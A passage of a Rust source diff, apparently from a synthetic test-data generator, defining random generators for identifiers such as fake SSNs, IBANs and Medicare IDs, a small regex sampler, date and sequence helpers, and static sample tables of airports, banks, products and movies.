fn generate_hex_hash(rng: &mut StdRng, n: usize) -> Value {
|
|
780
|
+
let s: String = (0..n)
|
|
781
|
+
.map(|_| std::char::from_digit(rng.random_range(0..16), 16).unwrap())
|
|
782
|
+
.collect();
|
|
783
|
+
json!(s)
|
|
784
|
+
}
|
|
785
|
+
|
|
786
|
+
fn generate_b64ish(rng: &mut StdRng, n: usize) -> String {
|
|
787
|
+
const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789./";
|
|
788
|
+
(0..n).map(|_| CH[rng.random_range(0..CH.len())] as char).collect()
|
|
789
|
+
}
|
|
790
|
+
|
|
791
|
+
fn generate_gps_code(rng: &mut StdRng) -> Value {
|
|
792
|
+
const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
793
|
+
let s: String = (0..4).map(|_| CH[rng.random_range(0..CH.len())] as char).collect();
|
|
794
|
+
json!(s)
|
|
795
|
+
}
|
|
796
|
+
|
|
797
|
+
fn generate_lei(rng: &mut StdRng) -> Value {
|
|
798
|
+
const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
|
799
|
+
let body: String = (0..18).map(|_| CH[rng.random_range(0..CH.len())] as char).collect();
|
|
800
|
+
json!(format!("{}{:02}", body, rng.random_range(10..99)))
|
|
801
|
+
}
|
|
802
|
+
|
|
803
|
+
fn generate_ssn(rng: &mut StdRng) -> Value {
|
|
804
|
+
json!(format!(
|
|
805
|
+
"{:03}-{:02}-{:04}",
|
|
806
|
+
rng.random_range(100..900),
|
|
807
|
+
rng.random_range(10..99),
|
|
808
|
+
rng.random_range(1000..9999)
|
|
809
|
+
))
|
|
810
|
+
}
|
|
811
|
+
|
|
812
|
+
fn generate_ein(rng: &mut StdRng) -> Value {
|
|
813
|
+
json!(format!("{:02}-{:07}", rng.random_range(10..99), rng.random_range(1000000..9999999)))
|
|
814
|
+
}
|
|
815
|
+
|
|
816
|
+
fn generate_iban(rng: &mut StdRng) -> Value {
|
|
817
|
+
let cc = pick_str(rng, COUNTRY_CODES2);
|
|
818
|
+
json!(format!("{}{:02}{}", cc, rng.random_range(10..99), generate_digit_string(rng, 18)))
|
|
819
|
+
}
|
|
820
|
+
|
|
821
|
+
fn generate_sku(rng: &mut StdRng) -> Value {
|
|
822
|
+
const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
823
|
+
let prefix: String = (0..3).map(|_| CH[rng.random_range(0..CH.len())] as char).collect();
|
|
824
|
+
json!(format!("{}-{}", prefix, generate_digit_string(rng, 6)))
|
|
825
|
+
}
|
|
826
|
+
|
|
827
|
+
fn generate_snowflake_id(rng: &mut StdRng) -> Value {
|
|
828
|
+
// 64-bit-ish numeric id rendered as string (Twitter snowflake style)
|
|
829
|
+
let ts = chrono::Utc::now().timestamp_millis() as u64;
|
|
830
|
+
let id = (ts << 22) | (rng.random_range(0..4_194_304u64));
|
|
831
|
+
json!(id.to_string())
|
|
832
|
+
}
|
|
833
|
+
|
|
834
|
+
fn generate_ipv4_cidr(rng: &mut StdRng) -> Value {
|
|
835
|
+
json!(format!(
|
|
836
|
+
"{}.{}.{}.0/{}",
|
|
837
|
+
rng.random_range(1..223),
|
|
838
|
+
rng.random_range(0..256),
|
|
839
|
+
rng.random_range(0..256),
|
|
840
|
+
rng.random_range(8..31)
|
|
841
|
+
))
|
|
842
|
+
}
|
|
843
|
+
|
|
844
|
+
fn generate_ipv6_cidr(rng: &mut StdRng) -> Value {
|
|
845
|
+
let seg = |rng: &mut StdRng| -> String { format!("{:x}", rng.random_range(0..0x10000u32)) };
|
|
846
|
+
json!(format!(
|
|
847
|
+
"{}:{}:{}:{}::/{}",
|
|
848
|
+
seg(rng), seg(rng), seg(rng), seg(rng),
|
|
849
|
+
rng.random_range(32..65)
|
|
850
|
+
))
|
|
851
|
+
}
|
|
852
|
+
|
|
853
|
+
fn generate_avatar(rng: &mut StdRng) -> Value {
|
|
854
|
+
let id: u32 = rng.random_range(1..1000);
|
|
855
|
+
json!(format!("https://i.pravatar.cc/300?img={}", id))
|
|
856
|
+
}
|
|
857
|
+
|
|
858
|
+
fn generate_base64_image_url() -> Value {
|
|
859
|
+
// 1x1 transparent PNG data URL
|
|
860
|
+
json!("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==")
|
|
861
|
+
}
|
|
862
|
+
|
|
863
|
+
fn generate_dummy_image_url(rng: &mut StdRng) -> Value {
|
|
864
|
+
let w = rng.random_range(1..9) * 100;
|
|
865
|
+
let h = rng.random_range(1..9) * 100;
|
|
866
|
+
json!(format!("https://dummyimage.com/{}x{}/cccccc/000000.png", w, h))
|
|
867
|
+
}
|
|
868
|
+
|
|
869
|
+
fn generate_mbi(rng: &mut StdRng) -> Value {
|
|
870
|
+
// Medicare Beneficiary Identifier: 11 chars, pattern CNNCNNCNNCC
|
|
871
|
+
const LETTERS: &[u8] = b"ACDEFGHJKMNPQRTUVWXY";
|
|
872
|
+
let l = |rng: &mut StdRng| LETTERS[rng.random_range(0..LETTERS.len())] as char;
|
|
873
|
+
let d = |rng: &mut StdRng| std::char::from_digit(rng.random_range(0..10), 10).unwrap();
|
|
874
|
+
json!(format!(
|
|
875
|
+
"{}{}{}{}{}{}{}{}{}{}{}",
|
|
876
|
+
d(rng), l(rng), l(rng), d(rng), l(rng), d(rng), l(rng), l(rng), d(rng), d(rng), d(rng)
|
|
877
|
+
))
|
|
878
|
+
}
|
|
879
|
+
|
|
880
|
+
fn generate_hashtag(rng: &mut StdRng) -> Value {
|
|
881
|
+
let w1: String = Word(EN).fake_with_rng(rng);
|
|
882
|
+
let w2: String = Word(EN).fake_with_rng(rng);
|
|
883
|
+
json!(format!("#{}{}", capitalize(&w1), capitalize(&w2)))
|
|
884
|
+
}
|
|
885
|
+
|
|
886
|
+
fn generate_social_handle(rng: &mut StdRng) -> Value {
|
|
887
|
+
let w: String = Word(EN).fake_with_rng(rng);
|
|
888
|
+
json!(format!("@{}{}", w.to_lowercase(), rng.random_range(1..9999)))
|
|
889
|
+
}
|
|
890
|
+
|
|
891
|
+
fn generate_slug(rng: &mut StdRng) -> Value {
|
|
892
|
+
let words: Vec<String> = Words(EN, 3..4).fake_with_rng(rng);
|
|
893
|
+
let slug = words
|
|
894
|
+
.iter()
|
|
895
|
+
.map(|w| w.to_lowercase())
|
|
896
|
+
.collect::<Vec<_>>()
|
|
897
|
+
.join("-");
|
|
898
|
+
// strip any non-alnum/dash chars
|
|
899
|
+
let slug: String = slug.chars().filter(|c| c.is_ascii_alphanumeric() || *c == '-').collect();
|
|
900
|
+
json!(slug)
|
|
901
|
+
}
|
|
902
|
+
|
|
903
|
+
fn generate_bundle_id(rng: &mut StdRng) -> Value {
|
|
904
|
+
let tld = pick_str(rng, &["com", "io", "net", "app"]);
|
|
905
|
+
let org: String = Word(EN).fake_with_rng(rng);
|
|
906
|
+
let app: String = Word(EN).fake_with_rng(rng);
|
|
907
|
+
json!(format!("{}.{}.{}", tld, org.to_lowercase(), app.to_lowercase()))
|
|
908
|
+
}
|
|
909
|
+
|
|
910
|
+
fn capitalize(s: &str) -> String {
|
|
911
|
+
let mut c = s.chars();
|
|
912
|
+
match c.next() {
|
|
913
|
+
Some(f) => f.to_uppercase().collect::<String>() + c.as_str(),
|
|
914
|
+
None => String::new(),
|
|
915
|
+
}
|
|
916
|
+
}
|
|
917
|
+
|
|
918
|
+
// ---- Sequence-style (index-driven) ----
|
|
919
|
+
|
|
920
|
+
fn generate_sequence(args: &Value, index: usize) -> Value {
|
|
921
|
+
let start = args.get("start").and_then(|v| v.as_i64()).unwrap_or(1);
|
|
922
|
+
let step = args.get("step").and_then(|v| v.as_i64()).unwrap_or(1);
|
|
923
|
+
let value = start + (index as i64) * step;
|
|
924
|
+
if let Some(fmt) = args.get("format").and_then(|v| v.as_str()) {
|
|
925
|
+
// support a single %d-style numeric placeholder; fall back to plain
|
|
926
|
+
if fmt.contains("%d") || fmt.contains("%05d") || fmt.contains("%04d") || fmt.contains("%03d") {
|
|
927
|
+
json!(simple_format_int(fmt, value))
|
|
928
|
+
} else {
|
|
929
|
+
json!(value)
|
|
930
|
+
}
|
|
931
|
+
} else {
|
|
932
|
+
json!(value)
|
|
933
|
+
}
|
|
934
|
+
}
|
|
935
|
+
|
|
936
|
+
fn simple_format_int(fmt: &str, value: i64) -> String {
|
|
937
|
+
// Replace the first %0Nd / %d token with the zero-padded value.
|
|
938
|
+
if let Some(start) = fmt.find('%') {
|
|
939
|
+
let rest = &fmt[start..];
|
|
940
|
+
// find terminating 'd'
|
|
941
|
+
if let Some(dpos) = rest.find('d') {
|
|
942
|
+
let spec = &rest[1..dpos]; // e.g. "05" or ""
|
|
943
|
+
let width: usize = spec.trim_start_matches('0').parse().unwrap_or(0);
|
|
944
|
+
let pad_zero = spec.starts_with('0');
|
|
945
|
+
let num = if pad_zero && width > 0 {
|
|
946
|
+
format!("{:0width$}", value, width = width)
|
|
947
|
+
} else if width > 0 {
|
|
948
|
+
format!("{:width$}", value, width = width)
|
|
949
|
+
} else {
|
|
950
|
+
value.to_string()
|
|
951
|
+
};
|
|
952
|
+
return format!("{}{}{}", &fmt[..start], num, &rest[dpos + 1..]);
|
|
953
|
+
}
|
|
954
|
+
}
|
|
955
|
+
value.to_string()
|
|
956
|
+
}
|
|
957
|
+
|
|
958
|
+
fn generate_digit_sequence(args: &Value, index: usize) -> Value {
|
|
959
|
+
let length = args.get("length").and_then(|v| v.as_u64()).unwrap_or(6) as usize;
|
|
960
|
+
let start = args.get("start").and_then(|v| v.as_u64()).unwrap_or(0);
|
|
961
|
+
let value = start + index as u64;
|
|
962
|
+
json!(format!("{:0width$}", value, width = length))
|
|
963
|
+
}
|
|
964
|
+
|
|
965
|
+
fn generate_character_sequence(args: &Value, index: usize) -> Value {
|
|
966
|
+
let start = args
|
|
967
|
+
.get("start")
|
|
968
|
+
.and_then(|v| v.as_str())
|
|
969
|
+
.and_then(|s| s.chars().next())
|
|
970
|
+
.unwrap_or('A');
|
|
971
|
+
let ch = ((start as u32) + index as u32) as u8 as char;
|
|
972
|
+
json!(ch.to_string())
|
|
973
|
+
}
|
|
974
|
+
|
|
975
|
+
// ---- regex ----
|
|
976
|
+
|
|
977
|
+
fn generate_regex(rng: &mut StdRng, args: &Value) -> Value {
|
|
978
|
+
let pattern = args.get("pattern").and_then(|v| v.as_str()).unwrap_or("");
|
|
979
|
+
if pattern.is_empty() {
|
|
980
|
+
return json!("");
|
|
981
|
+
}
|
|
982
|
+
json!(expand_regex(pattern, rng))
|
|
983
|
+
}
|
|
984
|
+
|
|
985
|
+
/// Minimal regex sampler covering character classes, quantifiers {n}/{n,m}/+/*/?,
|
|
986
|
+
/// escapes \d \w \s, literals, and a single top-level alternation.
|
|
987
|
+
fn expand_regex(pattern: &str, rng: &mut StdRng) -> String {
|
|
988
|
+
// strip anchors
|
|
989
|
+
let pattern = pattern.trim_start_matches('^').trim_end_matches('$');
|
|
990
|
+
// pick one alternation branch at top level (no nesting support)
|
|
991
|
+
let branch = if pattern.contains('|') && !pattern.contains('(') {
|
|
992
|
+
let parts: Vec<&str> = pattern.split('|').collect();
|
|
993
|
+
parts[rng.random_range(0..parts.len())]
|
|
994
|
+
} else {
|
|
995
|
+
pattern
|
|
996
|
+
};
|
|
997
|
+
|
|
998
|
+
let chars: Vec<char> = branch.chars().collect();
|
|
999
|
+
let mut out = String::new();
|
|
1000
|
+
let mut i = 0;
|
|
1001
|
+
while i < chars.len() {
|
|
1002
|
+
let c = chars[i];
|
|
1003
|
+
// Determine the atom (a closure producing one char) and advance i past it.
|
|
1004
|
+
let atom: Box<dyn Fn(&mut StdRng) -> char>;
|
|
1005
|
+
if c == '\\' && i + 1 < chars.len() {
|
|
1006
|
+
let n = chars[i + 1];
|
|
1007
|
+
i += 2;
|
|
1008
|
+
atom = match n {
|
|
1009
|
+
'd' => Box::new(|r: &mut StdRng| std::char::from_digit(r.random_range(0..10), 10).unwrap()),
|
|
1010
|
+
'w' => Box::new(|r: &mut StdRng| {
|
|
1011
|
+
const W: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_";
|
|
1012
|
+
W[r.random_range(0..W.len())] as char
|
|
1013
|
+
}),
|
|
1014
|
+
's' => Box::new(|_r: &mut StdRng| ' '),
|
|
1015
|
+
other => Box::new(move |_r: &mut StdRng| other),
|
|
1016
|
+
};
|
|
1017
|
+
} else if c == '[' {
|
|
1018
|
+
// character class: collect until ']'
|
|
1019
|
+
let mut set: Vec<char> = Vec::new();
|
|
1020
|
+
i += 1;
|
|
1021
|
+
let mut prev: Option<char> = None;
|
|
1022
|
+
while i < chars.len() && chars[i] != ']' {
|
|
1023
|
+
if chars[i] == '-' && prev.is_some() && i + 1 < chars.len() && chars[i + 1] != ']' {
|
|
1024
|
+
let lo = prev.unwrap();
|
|
1025
|
+
let hi = chars[i + 1];
|
|
1026
|
+
for ch in (lo as u32)..=(hi as u32) {
|
|
1027
|
+
if let Some(c) = std::char::from_u32(ch) {
|
|
1028
|
+
set.push(c);
|
|
1029
|
+
}
|
|
1030
|
+
}
|
|
1031
|
+
i += 2;
|
|
1032
|
+
prev = None;
|
|
1033
|
+
} else {
|
|
1034
|
+
set.push(chars[i]);
|
|
1035
|
+
prev = Some(chars[i]);
|
|
1036
|
+
i += 1;
|
|
1037
|
+
}
|
|
1038
|
+
}
|
|
1039
|
+
if i < chars.len() {
|
|
1040
|
+
i += 1; // consume ']'
|
|
1041
|
+
}
|
|
1042
|
+
if set.is_empty() {
|
|
1043
|
+
set.push('x');
|
|
1044
|
+
}
|
|
1045
|
+
atom = Box::new(move |r: &mut StdRng| set[r.random_range(0..set.len())]);
|
|
1046
|
+
} else if c == '.' {
|
|
1047
|
+
i += 1;
|
|
1048
|
+
atom = Box::new(|r: &mut StdRng| {
|
|
1049
|
+
const A: &[u8] = b"abcdefghijklmnopqrstuvwxyz";
|
|
1050
|
+
A[r.random_range(0..A.len())] as char
|
|
1051
|
+
});
|
|
1052
|
+
} else {
|
|
1053
|
+
i += 1;
|
|
1054
|
+
atom = Box::new(move |_r: &mut StdRng| c);
|
|
1055
|
+
}
|
|
1056
|
+
|
|
1057
|
+
// Quantifier?
|
|
1058
|
+
let (min, max) = if i < chars.len() {
|
|
1059
|
+
match chars[i] {
|
|
1060
|
+
'{' => {
|
|
1061
|
+
// {n} or {n,m}
|
|
1062
|
+
let mut j = i + 1;
|
|
1063
|
+
let mut num = String::new();
|
|
1064
|
+
while j < chars.len() && chars[j].is_ascii_digit() {
|
|
1065
|
+
num.push(chars[j]);
|
|
1066
|
+
j += 1;
|
|
1067
|
+
}
|
|
1068
|
+
let n: usize = num.parse().unwrap_or(1);
|
|
1069
|
+
if j < chars.len() && chars[j] == ',' {
|
|
1070
|
+
j += 1;
|
|
1071
|
+
let mut num2 = String::new();
|
|
1072
|
+
while j < chars.len() && chars[j].is_ascii_digit() {
|
|
1073
|
+
num2.push(chars[j]);
|
|
1074
|
+
j += 1;
|
|
1075
|
+
}
|
|
1076
|
+
let m: usize = num2.parse().unwrap_or(n + 4);
|
|
1077
|
+
if j < chars.len() && chars[j] == '}' {
|
|
1078
|
+
j += 1;
|
|
1079
|
+
}
|
|
1080
|
+
i = j;
|
|
1081
|
+
(n, m.max(n))
|
|
1082
|
+
} else {
|
|
1083
|
+
if j < chars.len() && chars[j] == '}' {
|
|
1084
|
+
j += 1;
|
|
1085
|
+
}
|
|
1086
|
+
i = j;
|
|
1087
|
+
(n, n)
|
|
1088
|
+
}
|
|
1089
|
+
}
|
|
1090
|
+
'+' => {
|
|
1091
|
+
i += 1;
|
|
1092
|
+
(1, 6)
|
|
1093
|
+
}
|
|
1094
|
+
'*' => {
|
|
1095
|
+
i += 1;
|
|
1096
|
+
(0, 6)
|
|
1097
|
+
}
|
|
1098
|
+
'?' => {
|
|
1099
|
+
i += 1;
|
|
1100
|
+
(0, 1)
|
|
1101
|
+
}
|
|
1102
|
+
_ => (1, 1),
|
|
1103
|
+
}
|
|
1104
|
+
} else {
|
|
1105
|
+
(1, 1)
|
|
1106
|
+
};
|
|
1107
|
+
|
|
1108
|
+
let reps = if max > min { rng.random_range(min..=max) } else { min };
|
|
1109
|
+
for _ in 0..reps {
|
|
1110
|
+
out.push(atom(rng));
|
|
1111
|
+
}
|
|
1112
|
+
}
|
|
1113
|
+
out
|
|
1114
|
+
}
|
|
1115
|
+
|
|
1116
|
+
// ---- date_between ----
|
|
1117
|
+
|
|
1118
|
+
fn generate_date_between(rng: &mut StdRng, args: &Value) -> Value {
|
|
1119
|
+
let from = args
|
|
1120
|
+
.get("from")
|
|
1121
|
+
.and_then(|v| v.as_str())
|
|
1122
|
+
.and_then(parse_date)
|
|
1123
|
+
.unwrap_or_else(|| chrono::Utc::now() - chrono::Duration::days(3650));
|
|
1124
|
+
let to = args
|
|
1125
|
+
.get("to")
|
|
1126
|
+
.and_then(|v| v.as_str())
|
|
1127
|
+
.and_then(parse_date)
|
|
1128
|
+
.unwrap_or_else(chrono::Utc::now);
|
|
1129
|
+
let from_ts = from.timestamp();
|
|
1130
|
+
let to_ts = to.timestamp().max(from_ts + 1);
|
|
1131
|
+
let ts = rng.random_range(from_ts..=to_ts);
|
|
1132
|
+
let dt = chrono::DateTime::<chrono::Utc>::from_timestamp(ts, 0).unwrap_or(from);
|
|
1133
|
+
json!(dt.format("%Y-%m-%d").to_string())
|
|
1134
|
+
}
|
|
1135
|
+
|
|
1136
|
+
fn parse_date(s: &str) -> Option<chrono::DateTime<chrono::Utc>> {
|
|
1137
|
+
use chrono::TimeZone;
|
|
1138
|
+
if let Ok(d) = chrono::NaiveDate::parse_from_str(s, "%Y-%m-%d") {
|
|
1139
|
+
let ndt = d.and_hms_opt(0, 0, 0)?;
|
|
1140
|
+
return Some(chrono::Utc.from_utc_datetime(&ndt));
|
|
1141
|
+
}
|
|
1142
|
+
chrono::DateTime::parse_from_rfc3339(s)
|
|
1143
|
+
.ok()
|
|
1144
|
+
.map(|d| d.with_timezone(&chrono::Utc))
|
|
1145
|
+
}
|
|
1146
|
+
|
|
1147
|
+
// ---- collections ----
|
|
1148
|
+
|
|
1149
|
+
fn generate_json_array(rng: &mut StdRng, args: &Value, locale: Locale, index: usize) -> Value {
|
|
1150
|
+
let item_type = args
|
|
1151
|
+
.get("type")
|
|
1152
|
+
.or_else(|| args.get("element"))
|
|
1153
|
+
.and_then(|v| v.as_str())
|
|
1154
|
+
.unwrap_or("word");
|
|
1155
|
+
let min = args.get("min").and_then(|v| v.as_u64()).unwrap_or(1) as usize;
|
|
1156
|
+
let max = args.get("max").and_then(|v| v.as_u64()).unwrap_or(4) as usize;
|
|
1157
|
+
let count = if max > min { rng.random_range(min..=max) } else { min.max(1) };
|
|
1158
|
+
let items: Vec<Value> = (0..count)
|
|
1159
|
+
.map(|i| generate_value(rng, item_type, &json!({}), locale, index + i))
|
|
1160
|
+
.collect();
|
|
1161
|
+
json!(items)
|
|
1162
|
+
}
|
|
1163
|
+
|
|
1164
|
+
fn generate_indices_pair(rng: &mut StdRng) -> Value {
|
|
1165
|
+
let a = rng.random_range(0..100);
|
|
1166
|
+
let b = rng.random_range(a..(a + 100));
|
|
1167
|
+
json!([a, b])
|
|
1168
|
+
}
|
|
1169
|
+
|
|
1170
|
+
fn generate_repeating_element(rng: &mut StdRng, args: &Value, locale: Locale, index: usize) -> Value {
|
|
1171
|
+
let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(1) as usize;
|
|
1172
|
+
let count = count.min(1000);
|
|
1173
|
+
if let Some(type_name) = args.get("type").and_then(|v| v.as_str()) {
|
|
1174
|
+
let items: Vec<Value> = (0..count)
|
|
1175
|
+
.map(|i| generate_value(rng, type_name, &json!({}), locale, index + i))
|
|
1176
|
+
.collect();
|
|
1177
|
+
json!(items)
|
|
1178
|
+
} else if let Some(value) = args.get("value") {
|
|
1179
|
+
let s = match value {
|
|
1180
|
+
Value::String(s) => s.clone(),
|
|
1181
|
+
other => other.to_string(),
|
|
1182
|
+
};
|
|
1183
|
+
json!(s.repeat(count))
|
|
1184
|
+
} else {
|
|
1185
|
+
json!("")
|
|
1186
|
+
}
|
|
1187
|
+
}
|
|
1188
|
+
|
|
1189
|
+
// ============================================================================
|
|
1190
|
+
// Static representative data tables
|
|
1191
|
+
// ============================================================================
|
|
1192
|
+
|
|
1193
|
+
static AIRPORT_NAMES: &[&str] = &[
|
|
1194
|
+
"Hartsfield-Jackson Atlanta International Airport",
|
|
1195
|
+
"Los Angeles International Airport",
|
|
1196
|
+
"O'Hare International Airport",
|
|
1197
|
+
"Dallas/Fort Worth International Airport",
|
|
1198
|
+
"Denver International Airport",
|
|
1199
|
+
"John F. Kennedy International Airport",
|
|
1200
|
+
"San Francisco International Airport",
|
|
1201
|
+
"Seattle-Tacoma International Airport",
|
|
1202
|
+
"Heathrow Airport",
|
|
1203
|
+
"Charles de Gaulle Airport",
|
|
1204
|
+
"Frankfurt Airport",
|
|
1205
|
+
"Amsterdam Airport Schiphol",
|
|
1206
|
+
"Tokyo Haneda Airport",
|
|
1207
|
+
"Dubai International Airport",
|
|
1208
|
+
"Singapore Changi Airport",
|
|
1209
|
+
"Hong Kong International Airport",
|
|
1210
|
+
"Toronto Pearson International Airport",
|
|
1211
|
+
"Sydney Kingsford Smith Airport",
|
|
1212
|
+
"Munich Airport",
|
|
1213
|
+
"Madrid-Barajas Airport",
|
|
1214
|
+
];
|
|
1215
|
+
|
|
1216
|
+
static AIRPORT_CONTINENTS: &[&str] = &[
|
|
1217
|
+
"Africa", "Antarctica", "Asia", "Europe", "North America", "Oceania", "South America",
|
|
1218
|
+
];
|
|
1219
|
+
|
|
1220
|
+
static BANK_NAMES: &[&str] = &[
|
|
1221
|
+
"JPMorgan Chase", "Bank of America", "Wells Fargo", "Citibank", "U.S. Bank",
|
|
1222
|
+
"PNC Bank", "Goldman Sachs", "Morgan Stanley", "TD Bank", "Capital One",
|
|
1223
|
+
"HSBC", "Barclays", "Deutsche Bank", "BNP Paribas", "Santander",
|
|
1224
|
+
"Royal Bank of Canada", "UBS", "Credit Suisse", "Standard Chartered", "ING Group",
|
|
1225
|
+
];
|
|
1226
|
+
|
|
1227
|
+
static CONSTRUCTION_TRADES: &[&str] = &[
|
|
1228
|
+
"Carpentry", "Electrical", "Plumbing", "Masonry", "Roofing",
|
|
1229
|
+
"HVAC", "Drywall", "Painting", "Flooring", "Concrete",
|
|
1230
|
+
"Welding", "Glazing", "Landscaping", "Excavation", "Insulation",
|
|
1231
|
+
];
|
|
1232
|
+
|
|
1233
|
+
static CONSTRUCTION_ROLES: &[&str] = &[
|
|
1234
|
+
"Project Manager", "Site Superintendent", "Foreman", "Estimator", "Safety Officer",
|
|
1235
|
+
"Field Engineer", "Laborer", "Journeyman", "Apprentice", "Master Electrician",
|
|
1236
|
+
"General Contractor", "Subcontractor", "Surveyor", "Inspector", "Crane Operator",
|
|
1237
|
+
];
|
|
1238
|
+
|
|
1239
|
+
static CONSTRUCTION_MATERIALS: &[&str] = &[
|
|
1240
|
+
"Concrete", "Steel", "Lumber", "Brick", "Rebar",
|
|
1241
|
+
"Drywall", "Insulation", "Plywood", "Asphalt", "Gravel",
|
|
1242
|
+
"Glass", "Copper Wire", "PVC Pipe", "Cement", "Aggregate",
|
|
1243
|
+
];
|
|
1244
|
+
|
|
1245
|
+
static CONSTRUCTION_EQUIPMENT: &[&str] = &[
|
|
1246
|
+
"Excavator", "Bulldozer", "Crane", "Backhoe Loader", "Skid-Steer Loader",
|
|
1247
|
+
"Dump Truck", "Concrete Mixer", "Forklift", "Grader", "Compactor",
|
|
1248
|
+
"Trencher", "Pile Driver", "Scissor Lift", "Telehandler", "Asphalt Paver",
|
|
1249
|
+
];
|
|
1250
|
+
|
|
1251
|
+
static CONSTRUCTION_SUBCONTRACT: &[&str] = &[
|
|
1252
|
+
"Sitework", "Concrete", "Masonry", "Metals", "Wood and Plastics",
|
|
1253
|
+
"Thermal and Moisture Protection", "Doors and Windows", "Finishes",
|
|
1254
|
+
"Mechanical", "Electrical", "Plumbing", "Fire Suppression",
|
|
1255
|
+
];
|
|
1256
|
+
|
|
1257
|
+
static DEPARTMENT_CORPORATE: &[&str] = &[
|
|
1258
|
+
"Human Resources", "Finance", "Engineering", "Marketing", "Sales",
|
|
1259
|
+
"Operations", "Legal", "Information Technology", "Research and Development",
|
|
1260
|
+
"Customer Support", "Product Management", "Procurement", "Compliance", "Facilities",
|
|
1261
|
+
];
|
|
1262
|
+
|
|
1263
|
+
static DEPARTMENT_RETAIL: &[&str] = &[
|
|
1264
|
+
"Grocery", "Produce", "Bakery", "Deli", "Electronics",
|
|
1265
|
+
"Apparel", "Home and Garden", "Toys", "Pharmacy", "Automotive",
|
|
1266
|
+
"Sporting Goods", "Cosmetics", "Furniture", "Hardware", "Footwear",
|
|
1267
|
+
];
|
|
1268
|
+
|
|
1269
|
+
static PRODUCT_NAMES: &[&str] = &[
|
|
1270
|
+
"Wireless Mouse", "Mechanical Keyboard", "USB-C Hub", "Noise-Cancelling Headphones",
|
|
1271
|
+
"Bluetooth Speaker", "Standing Desk", "Ergonomic Chair", "4K Monitor",
|
|
1272
|
+
"Laptop Stand", "Webcam", "External SSD", "Smart Watch",
|
|
1273
|
+
"Fitness Tracker", "Portable Charger", "Wireless Earbuds", "Gaming Mouse Pad",
|
|
1274
|
+
"Desk Lamp", "Cable Organizer", "Phone Mount", "Microphone",
|
|
1275
|
+
];
|
|
1276
|
+
|
|
1277
|
+
static PRODUCT_CATEGORIES: &[&str] = &[
|
|
1278
|
+
"Electronics", "Home and Kitchen", "Clothing", "Books", "Toys and Games",
|
|
1279
|
+
"Sports and Outdoors", "Beauty", "Health", "Automotive", "Office Products",
|
|
1280
|
+
"Grocery", "Pet Supplies", "Tools", "Garden", "Baby",
|
|
1281
|
+
];
|
|
1282
|
+
|
|
1283
|
+
static PRODUCT_SUBCATEGORIES: &[&str] = &[
|
|
1284
|
+
"Laptops", "Smartphones", "Headphones", "Cookware", "Bedding",
|
|
1285
|
+
"T-Shirts", "Running Shoes", "Board Games", "Action Figures", "Yoga Mats",
|
|
1286
|
+
"Skincare", "Vitamins", "Car Accessories", "Notebooks", "Power Tools",
|
|
1287
|
+
];
|
|
1288
|
+
|
|
1289
|
+
static PRODUCT_GROCERY: &[&str] = &[
|
|
1290
|
+
"Organic Bananas", "Whole Milk", "Free-Range Eggs", "Sourdough Bread", "Cheddar Cheese",
|
|
1291
|
+
"Roma Tomatoes", "Baby Spinach", "Ground Coffee", "Greek Yogurt", "Olive Oil",
|
|
1292
|
+
"Almond Butter", "Brown Rice", "Chicken Breast", "Atlantic Salmon", "Dark Chocolate",
|
|
1293
|
+
];
|
|
1294
|
+
|
|
1295
|
+
static MOVIE_TITLES: &[&str] = &[
|
|
1296
|
+
"The Last Horizon", "Echoes of Tomorrow", "Silent Thunder", "Crimson Tide Rising",
|
|
1297
|
+
"Beyond the Stars", "The Final Hour", "Whispers in the Dark", "Edge of Reality",
|
|
1298
|
+
"Shadows of the Past", "Infinite Loop", "The Lost City", "Frozen Memories",
|
|
1299
|
+
"Midnight Run", "The Forgotten Path", "Rise of the Phoenix", "Quantum Drift",
|
|
1300
|
+
"Nightfall", "The Iron Veil", "Distant Shores", "Broken Compass",
|
|
1301
|
+
];
|
|
1302
|
+
|
|
1303
|
+
static MOVIE_GENRES: &[&str] = &[
|
|
1304
|
+
"Action", "Adventure", "Comedy", "Drama", "Fantasy",
|
|
1305
|
+
"Horror", "Mystery", "Romance", "Sci-Fi", "Thriller",
|
|
1306
|
+
"Animation", "Documentary", "Crime", "War", "Western",
|
|
1307
|
+
];
|
|
1308
|
+
|
|
1309
|
+
static MOBILE_BRANDS: &[&str] = &[
|
|
1310
|
+
"Apple", "Samsung", "Google", "OnePlus", "Xiaomi",
|
|
1311
|
+
"Sony", "Motorola", "Nokia", "Oppo", "Vivo", "Huawei", "Asus",
|
|
1312
|
+
];
|
|
1313
|
+
|
|
1314
|
+
static MOBILE_MODELS: &[&str] = &[
|
|
1315
|
+
"iPhone 15 Pro", "Galaxy S24 Ultra", "Pixel 8 Pro", "OnePlus 12", "Redmi Note 13",
|
|
1316
|
+
"Xperia 1 V", "Moto Edge 40", "Nokia X30", "Find X7", "Vivo V30",
|
|
1317
|
+
"Mate 60 Pro", "ROG Phone 8", "iPhone 14", "Galaxy A54", "Pixel 7a",
|
|
1318
|
+
];
|
|
1319
|
+
|
|
1320
|
+
static MOBILE_OS: &[&str] = &[
|
|
1321
|
+
"iOS 17", "iOS 16", "Android 14", "Android 13", "Android 12",
|
|
1322
|
+
"HarmonyOS 4", "iOS 15", "Android 11",
|
|
1323
|
+
];
|
|
1324
|
+
|
|
1325
|
+
static APP_NAMES: &[&str] = &[
|
|
1326
|
+
"TaskFlow", "NoteVault", "PixelChat", "FitTrack", "BudgetWise",
|
|
1327
|
+
"MealPlan", "MindSpace", "QuickScan", "CloudSync", "DevHub",
|
|
1328
|
+
"SnapEdit", "TripMap", "PodCastr", "HabitLoop", "FocusZone",
|
|
1329
|
+
];
|
|
1330
|
+
|
|
1331
|
+
static UNIVERSITIES: &[&str] = &[
|
|
1332
|
+
"Harvard University", "Stanford University", "Massachusetts Institute of Technology",
|
|
1333
|
+
"University of Cambridge", "University of Oxford", "California Institute of Technology",
|
|
1334
|
+
"Princeton University", "Yale University", "University of Chicago", "Columbia University",
|
|
1335
|
+
